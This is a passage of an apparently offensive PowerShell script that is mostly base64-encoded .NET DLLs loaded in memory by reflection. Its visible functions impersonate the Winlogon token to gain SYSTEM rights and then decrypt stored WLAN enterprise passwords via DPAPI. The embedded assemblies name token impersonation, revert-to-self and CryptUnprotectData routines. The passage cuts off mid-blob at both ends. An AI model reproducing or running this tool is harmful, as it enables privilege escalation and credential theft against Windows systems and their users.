WRUb2tlbgBEdXBsaWNhdGVUb2tlbgBoVG9rZW4ASW1wZXJzb25hdGlvblRva2VuAEltcGVyc29uYXRlUHJvY2Vzc1Rva2VuAE9wZW5Qcm9jZXNzVG9rZW4AQ2xpZW50VG9rZW4AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFplcm8ALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAUmVxdWlyZWRQcml2aWxlZ2VzAERpc2FibGVBbGxQcml2aWxlZ2VzAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBdHRyaWJ1dGVzAFJldHVybkxlbmd0aEluQnl0ZXMAQnVmZmVyTGVuZ3RoSW5CeXRlcwBQcm9jZXNzQWNjZXNzRmxhZ3MAZmxhZ3MARGVzaXJlZEFjY2VzcwBwcm9jZXNzQWNjZXNzAENyZWF0ZVByb2Nlc3MAT3BlblByb2Nlc3MAR2V0Q3VycmVudFByb2Nlc3MAT2JqZWN0AHBmUmVzdWx0AFByaXZpbGVnZUNvdW50AEhpZ2hQYXJ0AExvd1BhcnQAb3BfRXF1YWxpdHkAAAAAAAAANMB5wx4YykSS6Z0DEn72xgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECAwcBGAMgAAgQBwsCERAYGBEYAgICAhEYAgIGGAUAAgIYGBUHDREQGBgRDBEUERQJAgICEQwRFAIGEAEBCB4ABAoBERQKBwgYGBgCAgICAgi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQAAACABP8PHwAECAAAAAQQAAAABCAAAAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAQAAAEAAAQAAIeAQECAgYIAgYJAwYREAQGHREMAwYRHAgAAwIODhAREAcAAxgRHAIIBwACGBJFERwHAAMCGAkQGAcAAwIYCBAYDgAGAhgCEBEUCRARFBAJAwAAGAkAAwIYEBEYEAIEAAECD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HIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAuDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
        Write-Verbose "DLL has been reflected."
    }
    
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
    {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    Write-Output "We are: $([Environment]::Username)"
}

function Check-System
{
    if([Environment]::Username -eq "SYSTEM")
    {
        return $true
    }
    return $false
}

function Get-WlanEnterprisePassword
{
    
    if([Environment]::Username -ne "SYSTEM")
    {
        # Only SYSTEM user can dump the first stage decryption.
        Get-System
        if(-not (Check-System))
        {
            Write-Output "Only SYSTEM can dump DPAPI secrets!"
            return
        }
    }

    [Reflection.Assembly]::Load([Convert]::FromBase64String("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")) | Out-Null

    [Reflection.Assembly]::Load([Convert]::FromBase64String("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YWdzAHBDaXBoZXJUZXh0AHBzekRlc2NyaXB0aW9uAHBzAGRhdGEAYmxvYgBwbGFpblRleHQAa2V5VHlwZQBlbnRyb3B5AGRlc2NyaXB0aW9uAHBsYWluVGV4dEJ5dGVzAGVudHJvcHlCeXRlcwBjaXBoZXJUZXh0AFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBPdXRBdHRyaWJ1dGUAY2lwaGVyVGV4dEJ5dGVzAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBjcnlwdDMyLmRsbABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAU2l6ZU9mAEJ5dGUAQWxsb2NIR2xvYmFsAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AEV4Y2VwdGlvbgBDb3B5AFN0cmluZwBFbXB0eQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAEdldExhc3RXaW4zMkVycm9yAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgBvcF9JbmVxdWFsaXR5AEZyZWVIR2xvYmFsAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAC5jY3RvcgBvcF9FeHBsaWNpdABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTVEFUaHJlYWRBdHRyaWJ1dGUAQ29uc29sZQBXcml0ZUxpbmUAZ2V0X01lc3NhZ2UAZ2V0X0lubmVyRXhjZXB0aW9uAAAAZVUAbgBhAGIAbABlACAAdABvACAAYQBsAGwAbwBjAGEAdABlACAAZABhAHQAYQAgAGIAdQBmAGYAZQByACAAZgBvAHIAIABCAEwATwBCACAAcwB0AHIAdQBjAHQAdQByAGUALgAAQ0MAYQBuAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHAAbABhAGkAbgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA/QwBhAG4AbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlACAAZQBuAHQAcgBvAHAAeQAgAEIATABPAEIALgAAMUMAcgB5AHAAdABQAHIAbwB0AGUAYwB0AEQAYQB0AGEAIABmAGEAaQBsAGUAZAAuAABDRABQAEEAUABJACAAdwBhAHMAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGUAbgBjAHIAeQBwAHQAIABkAGEAdABhAC4AAEVDAGEAbgBuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABjAGkAcABoAGUAcgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA1QwByAHkAcAB0AFUAbgBwAHIAbwB0AGUAYwB0AEQAYQB0AGEAIABmAGEAaQBsAGUAZAAuAABDRABQAEEAUABJACAAdwBhAHMAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABkAGEAdABhAC4AABtIAGUAbABsAG8ALAAgAHcAbwByAGwAZAAhAAAhUABsAGEAaQBuAHQAZQB4AHQAOgAgAHsAMAB9AA0ACgAAD00AeQAgAEQAYQB0AGEAACFFAG4AYwByAHkAcAB0AGUAZAA6ACAAewAwAH0ADQAKAAA1RABlAGMAcgB5AHAAdABlAGQAOgAgAHsAMAB9ACAAPAA8ADwAewAxAH0APgA+AD4ADQAKAAAA7Q0KVosFXk61lO+WJKPs0AAIt3pcVhk04IkCBggEAQAAAAQEAAAAEgAHA